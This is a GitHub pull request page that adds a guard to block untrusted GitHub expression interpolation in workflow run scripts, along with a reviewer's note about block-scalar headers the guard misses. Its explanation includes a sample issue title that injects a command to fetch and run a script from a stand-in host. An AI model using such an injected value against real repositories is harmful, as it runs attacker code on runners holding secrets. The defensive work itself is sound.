feat(guards): reject untrusted interpolation in workflow run scripts - #194
Open
OnLocation-acumbal-contractor wants to merge 1 commit into
Conversation
Hardening note 3 says never to interpolate issue, PR or comment text into a
`run:` script: GitHub expands `${{ … }}` before bash parses the line, so an
issue title can execute on a runner holding secrets and a write token. The
note was enforced only by the generated workflows happening to be written
correctly, which stops holding the moment an adopter — or the crew — edits
one.
`workflow-untrusted-interpolation` graduates that note from prose to a check,
the way note 10 became `actions-pinned`. It reads `run:` scripts only, so the
recommended escape hatch stays available: an `env:` binding is not a shell
context, and `TITLE: ${{ github.event.pull_request.title }}` followed by a
quoted `"$TITLE"` still passes.
The guard is clean on this repository and on the generated method today, so it
lands green and prevents a regression rather than fixing a live defect.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
adrian-lorenzo
requested changes
Aug 24, 2026
|
|
||
| /** Block scalar headers: `|`, `>`, `|-`, `>+`, `|2`, … */ | ||
| const BLOCK_SCALAR = /^[|>][-+]?\d*$/; | ||
|
|
Member
There was a problem hiding this comment.
Valid block-scalar headers can include comments, such as run: | # explanation, and can place the indentation indicator before the chomping indicator, such as run: |2-. The current regex does not recognize either form, so the following script is never scanned. I reproduced both cases with untrusted expressions and received no violations. Could we support the complete block-scalar header syntax and add regression tests for these cases?
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Closes #
Why
Hardening note 3 says never to interpolate issue, PR or comment text into a
run:script. GitHub expands
${{ … }}into the script body before bash parses the line, soan issue titled
"; curl evil.sh | sh; #executes on a runner that holds secrets and awrite token.
Until now that note was enforced only by the generated workflows happening to be written
correctly —
jqagainst$GITHUB_EVENT_PATH, numeric IDs only in prompts. That holdsuntil an adopter edits a rendered workflow, or the crew writes one. The fingerprint
checker reports that drift into
platform_issues; it doesn't fail a check.ADR 18 says the fifteen notes are "encoded in templates, webhook handlers, and guards —
not prose", and
method.mdsays a rule that is repeatedly missed becomes a deterministiccheck. Note 10 graduated into
actions-pinned. This does the same for note 3, which isthe highest-severity note still relying on care.
What it does
workflow-untrusted-interpolationscans.github/workflows/*.{yml,yaml}and fails on${{ … }}expressions referencing attacker-controlled payload fields inside arun:script — inline, literal block scalars and folded scalars alike.
It deliberately ignores
env:mappings,with:inputs andif:conditions, becausenone of those reach a shell parser. That exclusion is the load-bearing design decision:
this repository's own
pull-request-title.ymlcorrectly bindsTITLE: ${{ github.event.pull_request.title }}viaenv:and dereferences a quoted"$TITLE". Flagging that would send the guard's first user straight to the allowlist,and for a rule this severe the allowlist should stay empty.
Untrusted fields are taken from GitHub's documented list and kept in one array at the top
of the file, so extending it is a one-line change. The guard uses
_kit.mjs'sapplyAllowlist, so any justified exception is keyed, carries a written reason, and isreported as stale once it stops matching.
Files
packages/cli/templates/guards/workflow-untrusted-interpolation.mjsguards/workflow-untrusted-interpolation.mjspackages/cli/src/init.mjspackages/cli/test/guard-untrusted-interpolation.test.mjspackages/cli/test/dogfood.test.mjspackages/cli/test/init.test.mjsapps/docs/docs/reference/hardening.mdenv:escape hatchVerification
Commands run:
Covered by the tests:
run:interpolation is flagged, with the correct line number|) and folded (>) block scalars are both flaggedenv:bindings,with:inputs and job-levelif:conditions are not flaggedgithub.sha,github.repository,runner.os) are not flaggedwith:value isn't misread as shellExisting coverage that also exercises it:
init.test.mjsalready assertsnode guards/run.mjsexits 0 on a freshly installed repository and that the generatedoutput survives a strict Biome
check .; both still pass with the new guard in thewrite plan.
Behaviour on
maintoday: passes. This is a regression fence, not a fix for a livedefect.
Not in this PR
Notes 7 (fork PRs must clear a secretless resolver job before secrets enter scope) and 9
(
allowed_botsmust never be*) are checkable the same way. Happy to follow upseparately if this shape is right.